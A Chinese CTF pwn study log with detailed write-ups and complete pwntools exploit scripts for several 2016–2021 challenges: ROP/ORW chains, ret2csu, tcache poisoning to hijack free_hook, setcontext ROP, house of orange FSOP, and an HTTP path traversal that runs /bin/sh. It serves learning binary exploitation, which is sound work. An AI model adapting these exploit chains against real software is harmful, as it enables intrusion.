每日一pwn


前言

用来记录一些让我学到新东西的题,wp尽量详细,也是以一个日志的形式来记录学习过程

2021-11-21

0ctf 2016 warmup

附件

题目分析

这题的漏洞点比较明显,就是一个简单的栈溢出
pic

这个题巧妙的地方就在于它的利用方式,这个题利用了alarm函数的性质: 如果在一次程序执行的过程中多次调用alarm函数,那么alarm就会返回前一个alarm从开始到现在还剩下多长时间,并且将这个值赋值给eax寄存器

利用这条性质我们就可以控制rax寄存器的值

那么题目的思路就比较显而易见了

由于程序中存在alarm(0xA),所以我们可以控制rax值为10一下的数,我们还知道32位中open的系统调用号为5,即我们可以控制eax的值为5来调用open函数,再配合程序中给出的read和write,我们就可以实现orw

pic

解题步骤

Step1 将’./flag’字符串写入到data段上
1
2
3
4
5
6
7
8
9
payload1 = b'a'*0x20       #padding
payload1 += p32(sys_read)
payload1 += p32(vuln) #ret_addr 这里原本想返回main函数的,但是不知道为什么填main函数会崩掉
payload1 += p32(0) #fd 获取键盘输入
payload1 += p32(flag_addr) #buf
payload1 += p32(0x10) #nbytes
p.send(payload1)
p.recvuntil("Good Luck!")
p.send(b"./flag\x00")
Step2 构造open(‘./flag’,0)
1
2
3
4
5
6
7
8
9
10
sleep(5)               # 0xa-5 = 5 

payload2 = b'a'*0x20
payload2 += p32(alarm) # mov rax , 5
payload2 += p32(set_ebx_ecx_edx_int80) # open
payload2 += p32(vuln) # ret_addr
payload2 += p32(flag_addr) # ./flag
payload2 += p32(0) # O_RDONLY
p.send(payload2)
p.recvuntil("Good Luck!")
Step3 read(3,flag,0x20)
1
2
3
4
5
6
7
payload3 = b'a'*0x20
payload3 += p32(sys_read)
payload3 += p32(vuln)
payload3 += p32(3) #fd
payload3 += p32(flag_addr+0x10) #buf
payload3 += p32(0x10) #nbytes
p.send(payload3)
Step4 write(1,flag,0x20)
1
2
3
4
5
6
7
8
p.recvuntil("Good Luck!")
payload4 = b'a'*0x20
payload4 += p32(sys_write)
payload4 += p32(0) #ret_addr
payload4 += p32(1) #fd
payload4 += p32(flag_addr+0x10) #buf
payload4 += p32(0x10) #nbytes
p.send(payload4)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

p = process('warmup')
#context.log_level = 'debug'
vuln = 0x0804815A
sys_write = 0x08048135
sys_read = 0x0804811D
set_ebx_ecx_edx_int80 = 0x08048122
alarm = 0x0804810D
flag_addr = 0x080491BC

payload1 = b'a'*0x20
payload1 += p32(sys_read)
payload1 += p32(vuln)
payload1 += p32(0) #fd
payload1 += p32(flag_addr) #buf
payload1 += p32(0x10) #nbytes
p.send(payload1)
p.recvuntil("Good Luck!")
p.send(b"./flag\x00")

sleep(5)

payload2 = b'a'*0x20
payload2 += p32(alarm) # mov rax , 5
payload2 += p32(set_ebx_ecx_edx_int80) # open
payload2 += p32(vuln)
payload2 += p32(flag_addr) # ./flag
payload2 += p32(4)
p.send(payload2)
p.recvuntil("Good Luck!")


payload3 = b'a'*0x20
payload3 += p32(sys_read)
payload3 += p32(vuln)
payload3 += p32(0) #fd
payload3 += p32(flag_addr+0x10) #buf
payload3 += p32(0x10) #nbytes
p.send(payload3)
pause()
p.recvuntil("Good Luck!")
payload4 = b'a'*0x20
payload4 += p32(sys_write)
payload4 += p32(0)
payload4 += p32(1) #fd
payload4 += p32(flag_addr+0x10) #buf
payload4 += p32(0x10) #nbytes
p.send(payload4)



p.interactive()

pic

2021-11-22

[2021 西湖论剑]blind

附件

题目分析

这题的漏洞点比较明显,就是一个栈溢出

pic

这题一开始看到想到的是去用syscall,然后没找到syscall又去现学ret2dlresolve来做,搞了半天没搞出来。赛后看师傅们的wp才知道可以用alarm_got去爆破出syscall。

pic

可以看到syscall位于<alarm+9>的位置,我们只要通过修改alarm的got表的低一位就可以得到syscall了,由于这里是本地的环境,我们可以通过调试来获得这个偏移,而由于我们没有远程环境的libc,这个偏移就需要去爆破了。

我们可以通过ret2csu来修改alarm_got的低位使其指向syscall,然后再利用read来控制rax寄存器为59,然后去执行59号系统调用execve(‘/bin/sh’,0,0)来getshell

解题步骤

Step1 ret2csu模板定义

ret2csu要注意的是,rdi为第一个参数的存放寄存器,rsi为第二个参数,rdx为第三个参数。(由于太久没用ret2csu了,导致寄存器搞错了而调了半天)

1
2
3
4
5
def csu(r12,rdx,rsi,rdi):
payload = p64(0x04007BA)
payload += p64(0) + p64(1) + p64(r12) + p64(rdi) + p64(rsi) +p64(rdx) + p64(0x04007A0)
payload += b'a'*56
return payload
Step2 修改alarm_got
1
2
3
4
payload = b'a'*0x58+csu(read_got,0,alarm_got,1)

······
p.send(b'\x19') #本地调试出来的,远程需要爆破
Step3 执行59号系统调用

此时我们已经得到了syscall,那么接下来需要控制rax的值为59

这里又是一个我通过这道题学到的点:read函数会把rax的值赋值成输入的长度
pic

那么只要控制我们的输入长度为59就能使rax的值为59

1
2
3
4
payload += csu(read_got,0,elf.bss(0x100),0x100)  # mov rax,59
payload += csu(alarm_got,elf.bss(0x100),0,0) # execve('/bin/sh\x00',0,0)

p.send(b'/bin/sh\x00'.ljust(59,b'\x00')) # read /bin/sh in bss

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *


elf = ELF("blind")

read_got = elf.got['read']
alarm_got = elf.got['alarm']

def csu(r12,rdx,rsi,rdi):
payload = p64(0x04007BA)
payload += p64(0) + p64(1) + p64(r12) + p64(rdi) + p64(rsi) +p64(rdx) + p64(0x04007A0)
payload += b'a'*56
return payload

def pwn(i):
try:
p = process("blind")
payload = b'a'*0x58+csu(read_got,0,alarm_got,1)
payload += csu(read_got,0,elf.bss(0x100),59)
payload += csu(alarm_got,elf.bss(0x100),0,0)

#gdb.attach(p,"b * 0x4007a9")
sleep(3)
p.send(payload)
sleep(0.5)
p.send(chr(i))
#gdb.attach(p)
print(chr(i))
sleep(0.5)
p.send(b'/bin/sh\x00'.ljust(59,b'\x00'))
p.sendline("echo yay")
s = p.recv(3)
if s == b'yay':
p.sendline('cat flag')
p.interactive()
except:
p.close()

for i in range(0x100):
pwn(i)

2021-11-23

[2021 湖湘杯] tiny_httpd

附件

这种类型的webpwn目前为止见过3次,第一次是在国赛决赛BF阶段(比赛中没抽到),第二次实在广东省强网杯个人赛的决赛题(当时群友分享的),第三次就是在今年的湖湘杯。

这类题大概就是用C实现一个建议的http服务器,这道题比较适合入门,这题的漏洞比较简单,代码量较少,同时也给出了源码。

题目分析

首先现在本地搭好环境,我用的是题目给出的dockerfile,当然也可以直接在Ubuntu 18 的系统上直接运行

环境起好之后可以本地访问到这样一个页面
pic

接下来分析核心代码httpd.c

漏洞代码部分如下

1
2
3
4
5
6
7
8
int len = strlen(path);
for (i = 0, j = 0; j < len;) {
if (path[j] == '.' && path[j + 1] == '.') {
j++;
}
path[i++] = path[j++];
}
path[i++] = '\0';

我们只需要构造.../就能完成目录穿越,去访问任意目录

我们再来看关于路径处理的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//如果 path 数组中的这个字符串的最后一个字符是以字符 / 结尾的话,就拼接上一个"index.html"的字符串。首页的意思
if (path[strlen(path) - 1] == '/')
strcat(path, "index.html");

//在系统上去查询该文件是否存在
if (stat(path, &st) == -1) {
//如果不存在,那把这次 http 的请求后续的内容(head 和 body)全部读完并忽略
while ((numchars > 0) && strcmp("\n", buf)) /* read & discard headers */
numchars = get_line(client, buf, sizeof(buf));
//然后返回一个找不到文件的 response 给客户端
not_found(client);
}
else
{
//文件存在,那去跟常量S_IFMT相与,相与之后的值可以用来判断该文件是什么类型的
//S_IFMT参读《TLPI》P281,与下面的三个常量一样是包含在<sys/stat.h>
if ((st.st_mode & S_IFMT) == S_IFDIR)
//如果这个文件是个目录,那就需要再在 path 后面拼接一个"/index.html"的字符串
strcat(path, "/index.html");

//S_IXUSR, S_IXGRP, S_IXOTH三者可以参读《TLPI》P295
if ((st.st_mode & S_IXUSR) ||
(st.st_mode & S_IXGRP) ||
(st.st_mode & S_IXOTH) )
//如果这个文件是一个可执行文件,不论是属于用户/组/其他这三者类型的,就将 cgi 标志变量置一
cgi = 1;

if (!cgi)
//如果不需要 cgi 机制的话,
serve_file(client, path);
else
//如果需要则调用
execute_cgi(client, path, method, query_string);
}

close(client);

分析发现当我们传入的路径是一个可执行文件,如/bin/sh,那么就回去调用它

我们跟进到excute_cgi函数,这里只取一些关键的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
while ((numchars > 0) && strcmp("\n", buf))
{
buf[15] = '\0';
if (strcasecmp(buf, "Content-Length:") == 0)
content_length = atoi(&(buf[16])); //记录 body 的长度大小
numchars = get_line(client, buf, sizeof(buf));
}


if (content_length == -1) {
bad_request(client);
return;
}


通过审计发现我们必须要在header中传入指示body长度大小的参数Content-Length,否则就会报错返回

这里去执行我们传入的路径

1
execl(path, path, NULL);

同时如果我们传入的是POST方法的话,就继续读 body 的内容,并写到 cgi_input 管道里让子进程去读

1
2
3
4
5
if (strcasecmp(method, "POST") == 0)
for (i = 0; i < content_length; i++) {
recv(client, &c, 1, 0);
write(cgi_input[1], &c, 1);
}

那么我们只需要利用目录穿越执行/bin/sh,同时再传入Content-Length,就能去执行我们在body中传入的命令了

最后要注意下get_line函数中的一些规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int get_line(int sock, char *buf, int size)
{
int i = 0;
char c = '\0';
int n;

while ((i < size - 1) && (c != '\n'))
{
n = recv(sock, &c, 1, 0);
/* DEBUG printf("%02X\n", c); */
if (n > 0)
{
if (c == '\r')
{
//
n = recv(sock, &c, 1, MSG_PEEK);
/* DEBUG printf("%02X\n", c); */
if ((n > 0) && (c == '\n'))
recv(sock, &c, 1, 0);
else
c = '\n';
}
buf[i] = c;
i++;
}
else
c = '\n';
}
buf[i] = '\0';

return(i);
}

完整exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('127.0.0.1', 9999)

body= "echo `cat flag` > ./htdocs/index.html\n"

payload = "POST /.../.../.../.../bin/sh HTTP1.1\r\n"
payload += "Content-Length: {}\r\n\n".format(len(body))
payload += body
p.sendline(payload)
p.interactive()

pic

2021-11-24

[CISCN 2021初赛]lonelywolf

附件

当时打初赛的时候还只是一个只会栈溢出的fw,做这道题相当于是补下题,同时也是为了做silverwolf的学习堆中的Srop坐下前置准备

题目分析

add 函数

pic

让输入一个Index但是,这个index并没有什么卵用,我们从始至终都只能控制一个堆块,这很符合题意——独狼

同时控制了大小最大为0x78

delete 函数

pic

存在UAF漏洞

既然我们只能控制一个堆块,那么我们就可以考虑去控制tcache结构体,修改tcache_count,将tcache释放到unsorted bin中去leak libc,最后再去劫持malloc_hook或free_hook来getshell

解题步骤

Step1 double free 得到堆地址
1
2
3
4
5
6
7
8
9
add(0,0x28)
free(0)
edit(0,p64(0)*2) #绕过double free检查
free(0)

show(0)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x260
success("heap:" + hex(heap_base))
Step2 劫持tcache

我们可以先将当前堆块的fd指针指向tcache_fd

pic

接下来再申请两次就能申请到tacahe,由于tcache chunk大小为0x250,那么我们就可以通过修改0x250大小的chunk的count为7,就能将tacahe释放到unsorted bin中来leak libc了

1
2
3
4
5
6
7
8
9
10
edit(0,p64(heap_base+0x10))               
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
# gdb.attach(p)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
success("libc:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

Step3 劫持free_hook

我们先来看下此时bins中的情况

pic

这是因为由于tcache 被释放进unsorted bin后在原本这些tcache counts对应的地方被写入了main_arena_xx的地址,再加上我们最大只能申请0x78,如果我们用0x20 ~ 0x70的块来劫持free_hook的话就需要用到fastbin bin,那显然我们用0x80的chunk来tcache double free 劫持free_hook更加容易些。

1
2
3
4
5
6
7
8
9
add(0,0x78)
free(0)
edit(0,p64(free_hook))
add(0,0x78)
add(0,0x78)
edit(0,p64(system))
add(0,0x78)
edit(0,b"/bin/sh\x00")
free(0)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

p = process("lonelywolf")
libc = ELF("libc-2.27.so")

def choice(choice):
p.recvuntil("choice: ")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil("Index: ")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil("Index: ")
p.sendline(str(index))

context.log_level = 'debug'

add(0,0x28)
free(0)
edit(0,p64(0)*2)
free(0)
#add(0,0x78)
show(0)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,b"\x00"))-0x260
success("heap:" + hex(heap_base))
edit(0,p64(heap_base+0x10))

add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
#gdb.attach(p)
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
success("libc:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
gdb.attach(p)
add(0,0x78)
free(0)
edit(0,p64(free_hook))
add(0,0x78)
add(0,0x78)
edit(0,p64(system))
add(0,0x78)
edit(0,b"/bin/sh\x00")
free(0)
#gdb.attach(p)

p.interactive()

2021-11-25

[CISCN 2021 初赛]silverwolf

附件

题目分析

这道题是上到题的进阶版,在上一道题的基础上增加了一个沙盒

保护如下,要求只能使用orw,这意味着我们需要构造一条rop链来对flag文件进行读写

pic

那么和之前不同,这道题需要将劫持free_hooksetcontext + 53 来调用我们的ROP链

setcontext+53 如下:

pic

之所以会选择setcontext + 53而不是setcontext 是因为fldenv[rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令。

利用setcontext + 53我们可以直接去控制寄存器的值从而控制程序执行流,就类似于我们在SROP中伪造SigFrame来控制程序执行流一样。

接下来我们只需要在堆上布置好我们的rop链然后用setcontext去调用执行就好了

解题步骤

Step1 leak libc

思路和上道题一模一样,唯一要注意的是在开启seccomp以后seccomp_rule_addseccomp_load函数会影响tcache 和 fastbin的风水,所以一开始的堆布局如下

pic

在leak之前我们可以简单的恢复一下,以方便我们控制堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def clean():
for i in range(7):
add(0,0x78)
for i in range(12):
add(0,0x18)
for i in range(14):
add(0,0x68)
add(0,0x58)
gdb.attach(p)
clean()
#context.log_level = 'debug'
#gdb.attach(p)
add(0,0x28)
free(0)
edit(0,p64(0)*2)
free(0)
add(0,0x28)
show(0)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,b"\x00")) & 0xFFFFFFFFFFFFF000-0x1000
success("heap:" + hex(heap_base))
edit(0,p64(heap_base+0x10))
add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
success("libc:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
setcontext = libc_base + libc.sym['setcontext'] + 53

Step2 修改tcache control head

由于此时的tcache被释放进unsorted bin后在原本这些tcache counts对应的地方被写入了main_arena_96的地址,所以我们要先恢复tcache counts。

1
2
add(0,0x48)
edit(0,p64(0)*9)

接下来需要申请到tcache control head

1
2
3
add(0x18)
edit(0,p64(heap_base+0x50)) # 修改fd
add(0x30)

最后修改tcache control head

1
2
3
4
5
6
7
8
9
payload = p64(free_hook)                 #18
payload += p64(heap_base + 0x2000) #28 ./flag rdi
payload += p64(heap_base + 0x20a0) #38 rsp
payload += p64(heap_base + 0x2000) #48 最后调用
payload += p64(heap_base + 0x1000) #58 rop part1
payload += p64(0) #68
payload += p64(heap_base + 0x1000+0x58) #78 rop part2

edit(0,payload)

这里要注意rop链的长度不能大于你可以控制的堆块的大小,这里我们最多可以写 0x58 + 0x68 + 0x78长度的链

Step3 构造rop链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# open
rop = p64(pop_rdi_ret)+p64(flag_addr)
rop += p64(pop_rsi_ret)+p64(0)
rop += p64(pop_rax_ret)+p64(2)
rop += p64(syscall)
# read
rop += p64(pop_rdi_ret)+p64(3)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(pop_rax_ret)+p64(0)
rop += p64(syscall)
# write
rop += p64(pop_rdi_ret)+p64(1)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(pop_rax_ret)+p64(1)
rop += p64(syscall)
Step4 劫持free_hook getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0,0x18)
edit(0,p64(setcontext)) ## free_hook chang to setcontext+53

add(0,0x28)
edit(0,b'./flag\x00\x00') ## ./flag in heap + 0x2000 -- rdi

add(0,0x38)
edit(0,p64(heap_base + 0x1000) + p64(ret)) ## mov rsp , [rdi+0a0h]

## rop in heap+0x10000
add(0,0x58)
edit(0,rop[:0x58])
add(0,0x78)
edit(0,rop[0x58:])

## setcontext(rop)
add(0,0x48)
free(0)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
from pwn import *

p = process("silverwolf")
#p = remote("1.14.71.254",28134)
libc = ELF("libc-2.27.so")

def choice(choice):
p.recvuntil("choice: ")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil("Index: ")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil("Index: ")
p.sendline(str(index))

def clean():
for i in range(7):
add(0,0x78)
for i in range(12):
add(0,0x18)
for i in range(14):
add(0,0x68)
add(0,0x58)
#gdb.attach(p)
clean()
#context.log_level = 'debug'
#gdb.attach(p)
add(0,0x28)
free(0)
edit(0,p64(0)*2)
free(0)
add(0,0x28)
show(0)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,b"\x00")) & 0xFFFFFFFFFFFFF000-0x1000
success("heap:" + hex(heap_base))
edit(0,p64(heap_base+0x10))
add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
success("libc:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
setcontext = libc_base + libc.sym['setcontext'] + 53
#gdb.attach(p)
add(0,0x48)
edit(0,p64(0)*9)
add(0,0x18)
edit(0,p64(heap_base+0x50))
add(0,0x38)
payload = p64(free_hook) #18
payload += p64(heap_base + 0x2000) #28
payload += p64(heap_base + 0x20a0) #38
payload += p64(heap_base + 0x2000) #48
payload += p64(heap_base + 0x1000) #58
payload += p64(0) #68
payload += p64(heap_base + 0x1000+0x58)#78
edit(0,payload)
#add(0,0x78)
#edit(0,p64(0)*12)
#gdb.attach(p)
#add(0,0x18)
pop_rax_ret = libc_base+0x0000000000043ae8
pop_rdi_ret = libc_base+0x00000000000215bf
pop_rsi_ret = libc_base+0x0000000000023eea
pop_rdx_ret = libc_base+0x0000000000001b96
ret = libc_base+0x0000000000023eeb
open1 = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
alarm = libc_base + libc.sym['alarm']
syscall = alarm+0x5
flag_addr = heap_base+0x2000

# rop chain
rop = p64(pop_rdi_ret)+p64(flag_addr)
rop += p64(pop_rsi_ret)+p64(0)
rop += p64(pop_rax_ret)+p64(2)
rop += p64(syscall)
rop += p64(pop_rdi_ret)+p64(3)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(pop_rax_ret)+p64(0)
rop += p64(syscall)
rop += p64(pop_rdi_ret)+p64(1)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(pop_rax_ret)+p64(1)
rop += p64(syscall)
#gdb.attach(p)
add(0,0x18)
edit(0,p64(setcontext)) ## free_hook chang to setcontext+53

add(0,0x28)
edit(0,b'./flag\x00\x00') ## ./flag in heap + 0x2000 -- rdi

add(0,0x38)
edit(0,p64(heap_base + 0x1000) + p64(ret)) ## mov rsp , [rdi+0a0h]

## rop in heap+0x10000
add(0,0x58)
edit(0,rop[:0x58])
add(0,0x78)
edit(0,rop[0x58:])

## setcontext(rop)
add(0,0x48)
free(0)

#gdb.attach(p)

p.interactive()

2021-11-26

[CISCN Final 2021 Day2]Message_Board

附件

这到题应该是Day2最简单的一道题,题目类型也是最近比较常见的webpwn,比较考研选手对栈溢出和对函数调用栈的过程的理解以及发现及利用漏洞的能力

题目分析

不同于大多数这种httpd的webpwn(如:湖湘杯的tiny_httpd,CISCN 的HMOS),通过目录穿越来造成漏洞,这道题将目录穿越限制的很死

pic

题目的漏洞点在这里

pic

如果message的最后一位不是|的话,那么就会—n , 而n又是等于content_len的,content_len又是我们可控的,所以我们可以让content_len等于0,然后—n就会等于0xffffff,从而导致在fread的时候栈溢出,而且刚好也能通过content_len的大小的检查。

那么我们如何通过这个溢出来getshell或是获取flag呢?

首先如果我们想要getshell就需要泄露出地址,而在本程序中所有读写函数(如:fputs)都是通过文件流去读写,这样使得我们难以泄露出地址,使得getshell变得十分困难

那么我们将思路转向读取flag,发现程序中有一个可以读取文件的函数

pic

而且在程序流程中也有调用,且参数我们可控

pic

那么我们将程序劫持到这里,然后设置[ebp+filename]的值为我们的文件名那我们就可以实现任意文件读取了

我们通过分析可以发现他会将我们输入的header存在bss段上的dest数组中,那么我们只需要将箭头指向的地方改为flag就可以去得到flag字符了

pic

最后,由于这个题目用的是fread,由于我们这里的n过大,他会一直不停的读stdin,有没有办法让他停止呢。

这就是我通过这个题新学到的一个点(参考自wjh师傅的博客):

1.读入非常长的内容,直到 fgetc 传入的指针是错误的(超出栈空间,发生异常),这时候 fread 函数就会直接返回。
2.使用 sh.shutdown_raw(‘send’)来关闭输入管道,fread 函数就会返回,这个操作可见 VNCTF2021-WriteGiveFlag 这题的做法。

解题步骤

本题的exp比较简单,这里就说一下我解题的时候遇到的一些问题吧(主要是我自己蠢了)

当我把程序劫持到read_flag时即0x80492BD的位置时,此时payload 如下,发现无法getshell

1
payload = b'a'*padding + p64(flag_addr) + p64(read_flag)

然后动态调试发现

pic

这里将ebp减了0x42c,所以要将flag_addr + 0x42c才能读到flag

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
elf = ELF('./httpd')
sh = process('./httpd')
context.log_level = "debug"
read_file = 0x80492BD
flag_addr = 0x0804C180 + 0x21
payload = b'POST /submit HTTP/1.1\r\n'
payload += b'Content-Length: 0\r\n'
payload += b'Cookie: Username=haruki;Messages=flag\r\n'
payload += b'\r\n'
payload += b'a'*0x829 ##这里的padding是message到栈底的距离
payload += p32(flag_addr +0x42c)
payload += p32(read_file)
sh.send(payload)
sh.shutdown_raw('send')
sh.interactive()

2021-11-27

今日由于参加几场线上赛(坐牢)以及一些特殊情况暂停更新。

2021-11-28

[安洵杯 2021]ezheap

附件

昨天打了三场比赛,还是感觉到了一些大比赛和小杯赛的差距,昨天axb拿了一个二血一个三血,春秋杯和NCTF直接坐牢,看来自己还是经不住考验,刚好这道题昨天学弟在问,就写个wp吧。

题目分析

这道题是目前比少见的2.23的堆了,属于是一个简单题了

pic

程序一开始会直接送我们一个堆地址

漏洞点在edit函数这里,这里会重新输入一次size,可以造成堆溢出

pic

同时题目中没有free函数,又告诉了我们堆地址同时又有个堆溢出,那么利用思路就比较明显了,直接house_of_orange打IO结构体。关于house_of_orange的原理及利用,我在这篇笔记中也写得比较详细。

解题过程

Step1 get gift
1
2
3
p.recvuntil("0x")
heap_base = int(p.recv(12),16)-0x10
success("heap: "+ hex(heap_base))
Step2 利用堆溢出修改top chunk的大小,将top chunk free 进入unsorted bin来leak libc

注意这里修改top chunk的时候要注意页对齐,比如说这里的top chunk的大小为0x20f91,linux分页是以0x1000为一页,那么我伪造的时候就要伪造top chunk的size为0xf91

pic

1
2
3
4
5
6
7
8
9
payload = b'a'*0x40+p64(0)+p64(0xf91)
edit(len(payload),payload)
add(0x1000,b'b')
add(0x400,b'c')
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x3b7a63
success("libc: "+hex(libc_base))
system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']
Step3 FSOP

这里具体怎么伪造IO_FILE以及为什么,我在这篇笔记中也写的比较详细了

1
2
3
4
5
6
7
8
9
10
payload = b'a'*0x400                          # padding
payload1 = b'/bin/sh\x00'+ p64(0x60) # _IO_OVERFLOW arg + unsorted bin size
payload1 += p64(0)+p64(IO_list_all-0x10) # 劫持_IO_list_all
payload1 += p64(0)+p64(1) # _IO_write_base < _IO_write_ptr
payload1 = payload1.ljust(0xc0,b'\x00') # small bin[4] ending
payload1 += p64(0)*3 + p64(heap_base + 0x548) # heap_base + 0x548 相当于是 vtable->__overflow
#payload1 += p64(0)*2
payload1 += p64(system_addr) # __overflow
payload = payload+payload1
edit(len(payload),payload)

这里值得说一下的是heap_base + 0x548的这个点,这个0x548是通过动态调试计算出来的,一般等于你当前_chain指向的的地址+0xc0,最终目的是将__overflow覆盖成system

pic

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

p = process("ezheap")
#p = remote("47.108.195.119",20141)
libc = ELF("libc-2.23.so")
def choice(choice):
p.recvuntil("Your choice : ")
p.sendline(str(choice))

def add(size,content):
choice(1)
p.recvuntil("size of it")
p.sendline(str(size))
p.recvuntil("Name?")
p.sendline(content)

def edit(size,content):
choice(2)
p.recvuntil("size of it")
p.sendline(str(size))
p.recvuntil("name")
p.sendline(content)
context.log_level = 'debug'
def show():
choice(3)
#p.recvuntil("请输入你的队伍名称:")
#p.sendline("haruki")
#p.recvuntil("请输入你的id或名字:")
#p.sendline("haruki")

p.recvuntil("0x")
heap_base = int(p.recv(12),16)-0x10
success("heap: "+ hex(heap_base))
add(0x40,'a'*0x40)
gdb.attach(p)
payload = b'a'*0x40+p64(0)+p64(0xf91)
edit(len(payload),payload)
add(0x1000,b'b')
add(0x400,b'c')
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b"\x00"))-0x3b7a63
success("libc: "+hex(libc_base))
system_addr = libc_base + libc.sym['system']
IO_list_all = libc_base + libc.symbols['_IO_list_all']

payload = b'a'*0x400
payload1 = b'/bin/sh\x00'+ p64(0x60)
payload1 += p64(0)+p64(IO_list_all-0x10)
payload1 += p64(0)+p64(1)
payload1 = payload1.ljust(0xc0,b'\x00')
payload1 += p64(0)*3 + p64(heap_base + 0x548)
#payload1 += p64(0)*2
payload1 += p64(system_addr)
payload = payload+payload1
edit(len(payload),payload)
#add(0)
#
choice(1)
p.recvuntil("size of it")
#gdb.attach(p)
p.sendline("0x20")

p.interactive()

由于house_of_orange的利用方式不是很稳定所以可能要多试几次才能getshell。

2021-11-29

本周由于考试以及一些其它相关的杂事会停止更新下周一继续。

2021-11-30

[2021 安洵杯]noleak1

附件

虽然这周实验拉满,还要复习考试,但感觉一天不做题还是有点空虚,这里就写一简单的off by null(比赛中没看出来off by null还是太菜)

题目分析

secert函数

pic

开局要先过一个加密函数,经逆向👴分析是个栅栏,解密得N0_py_1n_tHe_ct7

过了scerte之后就可以进入菜单了。

add函数中并没有限制申请堆块的大小,所以我们可以将一个大于0x420(tcache max)chunk释放进unsorted bin,再申请一个块然后通过残留的指针来泄露出libc

当时做到这里的时候我就卡住了,当时的思路是想这找一个地方去劫持free_hook的,但是没找到,赛后看wp才知道是off by null去实现chunk overlap。其实以前也做过相似的题,比赛的时候还是没有想到那个地方去,还是思考的少了。。。

关于off by null的具体原理以及分析可以看这篇博客, 由于是wp所以不会讲太多的原理,只会讲一些具体的利用。

